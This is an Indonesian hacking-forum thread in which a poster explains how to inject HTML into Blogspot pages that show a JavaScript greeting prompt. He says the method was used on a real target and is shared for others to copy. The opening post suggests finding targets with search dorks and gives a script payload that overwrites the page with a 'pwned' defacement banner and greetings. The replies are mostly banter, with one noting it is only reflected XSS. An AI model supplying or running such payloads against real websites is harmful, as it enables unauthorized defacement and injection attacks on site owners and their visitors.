[xsan-lahci]

hmm berawal dari perbincangan ane dan guru xss ane om Cassaprodigy , perbincangan di irc channel #IBTeam dia ngasih tau ternyata pada blogspot bisa di inject html dengan catatan blogspot tersebut ketika dibuka mengeluarkan colom javascript alert dimana mengajak kita berkenalan seperti di bawah ini

Target : blogspot
Dork : Use Your Mind! or you can find many dork on my blog

Spoiler! :

oke jelas banget tuh ada script alertnya bro , tinggal kita isi deh tag HTML pastikan ente baca postingan om Cassaprodigy sebelumnya tentang XSS ya

disini ane isikan dengan Tag seperti berikut bro

PHP Code:

<script>document.body.innerHTML="<h1>pwned by xsan-lahci and Cassaprodigy </h1></strong>
<strong><xsan-lahci> This Site Has been Defaced By : xsan-lahci and Cassaprodigy<br/>Greetz To : THJC | Junior | and you<br/>contact me [email protected]";</script 


dan hasilnya Taraaaa

Spoiler! :

and this is my target please dont use for blackhat job

Thanks To Cassaprodigy and My target hahaha Sumber dikunjungi juga yah

[budi hatory]

hehe... di share juga akhirnya...

[xsan-lahci]

iyah bro baru sempet nulis nih hehehe

[Backtrack Dragon]

Waduh, bahaya juga yah yang masang alert pada blognya. Aku termasuk salah satu pengguna blogspot soalnya... perlu ikuti perkembangan hal ini nih

Thanks udah share

[alkaaf]

untungnya nuh cuman reflection xss :angel. kalo stored bisa berabe nuh yang punya blog. hahaha

[zee eichel]

waduh banyak sih yang sering pake script2 semacam itu di blogspot .. biar kelihatan keren kali ya ? padahal script itupun tidak menyimpan apa2 sama sekali mending klo terkoneksi gitu di database ..

[alkaaf]

waduh banyak sih yang sering pake script2 semacam itu di blogspot .. biar kelihatan keren kali ya ? padahal script itupun tidak menyimpan apa2 sama sekali mending klo terkoneksi gitu di database ..

buat nyapa si pengunjung ajah bro :badpc:

[m4k4ss4rh4ck3r]

wehh bahaya ne muridnya mirwin.......aka,

[xsan-lahci]

Waduh, bahaya juga yah yang masang alert pada blognya. Aku termasuk salah satu pengguna blogspot soalnya... perlu ikuti perkembangan hal ini nih

Thanks udah share

hehe iya bro harus hati hati

---

wehh bahaya ne muridnya mirwin.......aka,

hahaha yang bahaya gurunya om muridnya mah share yg udh dikasih aja hahaha

[cassaprodigy]

Waduh, bahaya juga yah yang masang alert pada blognya. Aku termasuk salah satu pengguna blogspot soalnya... perlu ikuti perkembangan hal ini nih

Thanks udah share

hehe iya bro harus hati hati

---

wehh bahaya ne muridnya mirwin.......aka,

spa tu mirwin jadi mw kenal.. hahahah

hahaha yang bahaya gurunya om muridnya mah share yg udh dikasih aja hahaha

pasti guru na tampan.. wakakka